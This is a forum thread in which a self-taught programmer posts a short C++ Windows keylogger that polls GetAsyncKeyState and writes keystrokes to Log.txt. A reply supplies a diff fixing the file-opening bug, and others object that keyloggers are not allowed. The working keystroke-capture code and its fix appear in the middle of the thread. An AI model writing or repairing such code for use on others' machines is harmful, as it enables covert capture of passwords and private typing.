I made this recently out of boredom in a good 10 minutes from my friend betting me I couldn't make a working keylogging program in a small time and after making it I noticed that it has problems with sending the text to log.txt if someone could tell me what I did wrong that would be great

#include <iostream>
#include <fstream>
#include <Windows.h>

int main()
{
std:

fstream Log("Log.txt");

bool AllowKey[128];

for(int i = 0; i < 128; i++)
{
AllowKey[i] = false;
}

while(1)
{
for(int K = 0; K <= 127; K++)
{
if((bool)GetAsyncKeyState(K) == true && AllowKey[K])
{
Log << (char)K <<"\n";
Log.flush();
AllowKey[K] = false;
}

if((bool)GetAsyncKeyState(K) == false)
{
AllowKey[K] = true;
}
}
}
}

We generally don't approve of keyloggers but I'm going to give you the benefit of the doubt and believe you are just doing it as a hobbyist way of learning because your friend didn't think that you could just like you said.

First of all you posted code that won't compile because you missed a colon in the 7th line. The only thing wrong with your code is that it will only work if the file already exists (appending) because you don't tell it what kind of operations the stream should expect. Tell it to expect output and it will create the file.

Here are my changes. Hopefully you can read diff output.

Code:

7c7,8
< std:fstream Log("Log.txt");
---
> std::fstream Log;
> Log.open("Log.txt", std::fstream::out);

This isn't allowed.

Just a note to everyone saying it's not allowed. This is just a keylogger that runs on my computer to see if I could make one I've been teaching myself C++ for a little bit now and this is one of things I've made so far

If it really isn't allowed then I'm sorry :P
EDIT: Thanks for the help

I'm not very good at it haha :P
